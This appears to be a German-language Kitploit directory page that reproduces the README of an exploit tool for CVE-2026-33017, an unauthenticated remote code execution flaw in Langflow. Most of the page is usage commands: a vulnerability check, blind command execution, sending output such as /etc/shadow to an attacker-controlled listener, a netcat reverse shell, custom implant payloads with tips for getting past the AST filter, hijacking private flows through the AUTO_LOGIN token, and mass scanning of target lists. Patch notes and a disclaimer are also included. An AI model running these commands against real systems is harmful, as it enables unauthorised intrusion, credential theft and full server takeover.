Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-33017-Exploit — Exploit für CVE-2026-33017 — Nicht authentifizierte RCE in Langflow <= 1.8.2 über exec() im Flow-Build-Endpunkt | Kitploit
Tools/GitHubGitHub/oscar-mine/cve-2026-33017-exploit
AufklärungSchwachstellenscannerExploitationWebanwendungs-ExploitationPenetrationstestsRemote-Access-Tool
GitHuboscar-mine/cve-2026-33017-exploit

CVE-2026-33017-Exploit

Exploit für CVE-2026-33017 — Nicht authentifizierte RCE in Langflow <= 1.8.2 über exec() im Flow-Build-Endpunkt

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
18vor 5 MonatenNoch nicht geprüft

CVE-2026-33017 - Langflow Unauthenticated RCE

        _____
       /     \
      | () () |
       \  ^  /
        |||||

exec() ohne Authentifizierung, ohne Sandbox, ohne Hoffnung.

Langflow <= 1.8.2 ermöglicht nicht authentifizierte Remote-Codeausführung über den Endpunkt POST /api/v1/build_public_tmp/{flow_id}/flow. Vom Angreifer bereitgestellte Flow-Daten, die beliebigen Python-Code in Node-Definitionen enthalten, werden direkt an exec() übergeben – ohne jegliche Sandboxing.

  • CVSS: 9.8 Kritisch
  • CWE: CWE-94 (Code Injection), CWE-306 (Fehlende Authentifizierung)
  • Betroffen: Langflow <= 1.8.2 (einschließlich 1.9.0-dev0 bis dev11)
  • Behoben: Langflow 1.9.0
  • CISA KEV: Hinzugefügt am 2026-03-25
  • In freier Wildbahn ausgenutzt: Innerhalb von 20 Stunden nach Offenlegung

Kill Chain

POST /api/v1/build_public_tmp/{flow_id}/flow
  -> chat.py -> start_flow_build() -> build_graph_from_data()
  -> Graph.from_payload() -> loading.py -> eval.py create_class()
  -> validate.py prepare_global_scope() -> exec(compiled_code)
  -> beliebiger Code läuft als Serverprozess. Game over.

Installation

git clone https://github.com/oscarmine/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests

Verwendung

Recon – prüfen, ob das Ziel verwundbar ist

python3 exploit.py --url http://target:7860 --check

Blind-Befehlsausführung

python3 exploit.py --url http://target:7860 --cmd "id"

Exfiltration der Ausgabe über GET-Callback (base64 im URL-Pfad)

# Terminal 1: Listener starten
python3 -m http.server 8080

# Terminal 2: Exploit ausführen
python3 exploit.py --url http://target:7860 --cmd "id" \
  --callback-get http://your-ip:8080

# Base64 aus den Listener-Logs dekodieren:
echo "dWlkPTEwMDAo..." | base64 -d

Exfiltration der Ausgabe über POST-Callback (Rohausgabe im Body)

# Terminal 1: Listener starten
nc -l 8080

# Terminal 2: Exploit ausführen
python3 exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \
  --callback-post http://your-ip:8080

# Die Rohausgabe landet direkt im POST-Body – keine Dekodierung nötig

Reverse Shell

# Terminal 1: Listener starten
nc -l 4444

# Terminal 2: Exploit ausführen
python3 exploit.py --url http://target:7860 --revshell your-ip 4444

Benutzerdefiniertes Python-Payload

python3 exploit.py --url http://target:7860 --payload-file implant.py

Regeln für Payload-Dateien:

  • Code läuft auf Modulebene über exec() innerhalb von prepare_global_scope()
  • Es müssen Zuweisungen verwendet werden (z. B. _x = os.popen(...).read()), da der AST-Filter nur Assign-, FunctionDef- und ClassDef-Nodes ausführt
  • Blockierende Aufrufe sollten threading.Thread(daemon=True) verwenden, um die Zerstörung der asynchronen Event-Loop zu vermeiden

Private Flows automatisch hochstufen

Wenn keine PUBLIC-Flows existieren, aber AUTO_LOGIN aktiviert ist (Standard in vielen Bereitstellungen):

python3 exploit.py --url http://target:7860 --auto-promote --cmd "id"

Dies übernimmt das AUTO_LOGIN-Token, setzt den ersten Flow per PATCH auf PUBLIC und nutzt ihn dann aus.

Massen-Scan

Mehrere Ziele aus einer Datei scannen (nur Verwundbarkeitsprüfung):

python3 exploit.py --scan-file targets.txt
python3 exploit.py --scan-file targets.txt --threads 20 --scan-output results.txt

targets.txt-Format:

http://10.10.10.5:7860
http://10.10.10.6:7860
192.168.1.100:7860
# Kommentare werden ignoriert

Die Ausgabe zeigt:

  • Versionserkennung (verwundbar / gepatcht)
  • AUTO_LOGIN-Status (kostenloses Token = einfache Eskalation)
  • Anzahl der PUBLIC-Flows (sofort ausnutzbar)

Proxy über Burp

python3 exploit.py --url http://target:7860 --cmd "id" \
  --proxy http://127.0.0.1:8080

So funktioniert es

  1. Versionsprüfung – fragt /api/v1/version ab, um das Ziel zu identifizieren
  2. Flow-Erkennung – nutzt AUTO_LOGIN (falls aktiviert), um Flows aufzulisten und PUBLIC-Flows zu finden
  3. Payload-Injection – erstellt einen minimalen Flow-Graphen mit einem CustomComponent-Node, der bösartigen Python-Code im code-Feld enthält
  4. Codeausführung – sendet einen POST an /api/v1/build_public_tmp/{flow_id}/flow mit dem manipulierten data-Parameter. Langflow kompiliert den Graphen, was create_class() -> prepare_global_scope() -> exec() auf dem Code des Angreifers aufruft

Der Fix in v1.9.0 entfernt den data-Parameter vollständig und zwingt den Endpunkt, ausschließlich gespeicherte Flow-Daten aus der Datenbank zu verwenden.

Patch-Analyse

VersionStatus
<= 1.8.1Verwundbar
1.8.2Behaupteter Fix im Changelog, aber der Code wurde nie geändert (von JFrog bestätigt)
1.9.0-dev0 bis dev11Weiterhin verwundbar
1.9.0Tatsächlich behoben – data-Parameter vom Endpunkt entfernt

Referenzen

  • NVD - CVE-2026-33017
  • JFrog Research - Patch-Bypass-Analyse
  • Sysdig - Ausnutzung in 20 Stunden
  • CISA KEV
  • Fix-Commit
  • GitHub Advisory: GHSA-rvqx-wpfh-mfx7

Haftungsausschluss

Dieses Tool ist ausschließlich für autorisierte Sicherheitsforschung bestimmt. Verwenden Sie es nur gegen Systeme, für die Sie eine ausdrückliche Testgenehmigung haben. Der Autor übernimmt keine Verantwortung für Missbrauch.

Tool herunterladen